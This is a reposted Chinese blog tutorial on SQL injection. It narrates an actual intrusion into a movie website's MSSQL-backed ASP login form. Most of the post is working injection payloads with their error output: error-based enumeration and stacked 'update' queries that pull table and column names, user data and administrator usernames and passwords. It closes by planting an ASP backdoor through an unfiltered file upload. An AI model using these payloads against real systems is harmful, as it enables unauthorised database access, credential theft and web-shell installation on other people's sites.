SQL注入的新技巧

转载 2006年06月18日 17:27:00

表名和字段名的获得
适用情况:
1)数据库是MSSQL
2)连接数据库的只是普通用户
3)不知道ASP源代码

可以进行的攻击
1)对数据内容进行添加,查看,更改

实例:
本文件以

为列进行测试攻击。

第一步:
在输入用户名处输入单引号,显示
Microsoft OLE DB Provider for SQL Server 错误 80040e14
字符串 之前有未闭合的引号。

/user/wantpws.asp,行63

说明没有过滤单引号且数据库是MSSQL.

第二步:
输入a;use master;--
显示
Microsoft OLE DB Provider for SQL Server 错误 80040e21 多步LE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。

/user/wantpws.asp,行63
这样说明没有权限了。

第三步:
输入:a or name like fff%;--
显示有一个叫ffff的用户哈。

第四步:
在用户名处输入
ffff and 1<>(select count(email) from [user]);--
显示:
Microsoft OLE DB Provider for SQL Server 错误 80040e37
对象名 user 无效。

/user/wantpws.asp,行96

说明没有叫user的表,换成users试试成功,同时说明有一个叫email的列.
输入a having 1=1--
一般返回如下也就可以直接得到表名和一个字段名了
Microsoft OLE DB Provider for SQL Server 错误 80040e14
列 users.ID 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GROUP BY 子句。

/user/wantpws.asp,行63

现在我们知道了ffff用户的密码是111111.

下面通过语句得到数据库中的所有表名和字段名。

第五步:
输入:
ffff;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
说明:
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad然后根据表名ad得到这个表的IDffff;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
同上可知id是:581577110由于对象标志id是根据由小到大排列的所以我们可以得到所有的用户表的名字了象下面这样就可以得到第二个表的名字了ffff;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--

ad 581577110
users 597577167
buy 613577224
car 629577281
learning 645577338
log 661577395
movie 677577452
movieurl 693577509
password 709577566
type 725577623
talk

经过一段时间的猜测后我们得到上面的分析一下应该明白password,users是最得要的

第六步:猜重要表的字段
输入:
现在就看看users表有哪些字段
ffff;update [users] set email=(select top 1 col_name(object_id(users),3) from users) where name=ffff;--
得到第三个字段是password
ffff;update [users] set email=(select top 1 col_name(object_id(users),4) from users) where name=ffff;--
得到第四个字段是name
最后users表的字段共28个全得到了
(注:另一个得到字段的办法,前提是系统的返回出错信息
a group by ID having 1=1--
得到
Microsoft OLE DB Provider for SQL Server 错误 80040e14
列 users.userid 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。

/user/wantpws.asp,行63
这个第二个字段就是userid
显示第三个字段。
a group by id,userid having 1=1--

Microsoft OLE DB Provider for SQL Server 错误 80040e14
列 users.password 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。

/user/wantpws.asp,行63
得到是password
同理,一直显示出所有。:)
)

users表
1 2 3 4
id userid password name

5 6 7 8 9 10 11 12 13 14 15 16
Province homeaddress city adress starlook sex email nlook nos date money send

17 18 19 20 21 22 23 24 25 26 27 28
oklook dnlook lasthits phone askmejoin getmoney payno logintime mflag state post note

starlook--12 10 2003 2:41PM
nlook---0
nos---2 登陆次数
date--12 10 2003 12:00AM 注册时间?
money--同上
send--空
oklook--0
dnlook--0
getmoney--0
state--0
note--这家伙很。。。 说明

password表
1 2 3
id name pwd

然后我又试ad原来是用来记录广告击点的。。
然后又试password表得到有name和pwd字段。
执行
ffff;update [users] set email=(select top 1 name from password) where name=ffff;--
可得第一个用户名是admin123看样儿多半是管理员了。
然后又得到了密码是dy***dick188还是打星号算了哈哈...

这样我们就完全进入了这个电影网站的后台了哈哈。
http://www.dy***.com/login.asp

再进一步还可以知道管理员一共有三人密码也都能看到了。
ffff;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
ffff;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--

ffff;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--

只是能免费看电影好象还不够哈..我看了看它的后台管理原来在添加电影的地方对于上传的图片没有过滤.asa的文件,这样我就能上传一个asp后门并执行

相关文章推荐

sql注入技巧合集

  • 2012-04-08 23:05
  • 310KB
  • 下载

SQL注入技巧

  • 2013-10-06 13:49
  • 559KB
  • 下载

安全技巧:学会检查SQL注入式攻击漏洞

保障Web站点和应用程序的安全,免受SQL注入攻击涉及到三部分内容: 1.通过彻底审核Web站点和Web应用程序的SQL注入式攻击和其它形式的攻击漏洞来分析目前的安全状态。 2.确保你使用最佳...

Web安全之SQL注入攻击技巧与防范

在Web1.0时代,人们更多是关注服务器端动态脚本语言的安全问题,比如将一个可执行脚本(俗称Webshell)通过脚本语言的漏洞上传到服务器上,从而获得服务器权限。在Web发展初期,随着动态脚本语言的...

Web安全之SQL注入攻击技巧与防范

Web安全简史 在Web1.0时代,人们更多是关注服务器端动态脚本语言的安全问题,比如将一个可执行脚本(俗称Webshell)通过脚本语言的漏洞上传到服务器上,从而获得服务器权限。在Web发展初期,随...

Web安全之SQL注入攻击技巧与防范

常见攻击方式 一般说来,在Web安全领域,常见的攻击方式大概有以下几种: 1、SQL注入攻击 2、跨站脚本攻击 - XSS 3、跨站伪造请求攻击 - CSRF 4、文件上传漏洞攻击 5、分...

请注意那些容易被忽略的SQL注入技巧(转)

1.关于Openrowset和Opendatasource   可能这个技巧早有人已经会了,就是利用openrowset发送本地命令。通常我们的用法是(包括MSDN的列子)如下: sele...

SQL进行排序、分组、统计的10个新技巧

转自 http://www.cnblogs.com/yangjie5188/archive/2008/04/23/1167694.html 今天在新客网看到一片好文章,是关于sql排序,分组...

SQL编写技巧

  • 2015-11-23 12:21
  • 1.20MB
  • 下载

sql优化技巧

内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:深度学习:神经网络中的前向传播和反向传播算法推导
举报原因:
原因补充:

(最多只允许输入30个字)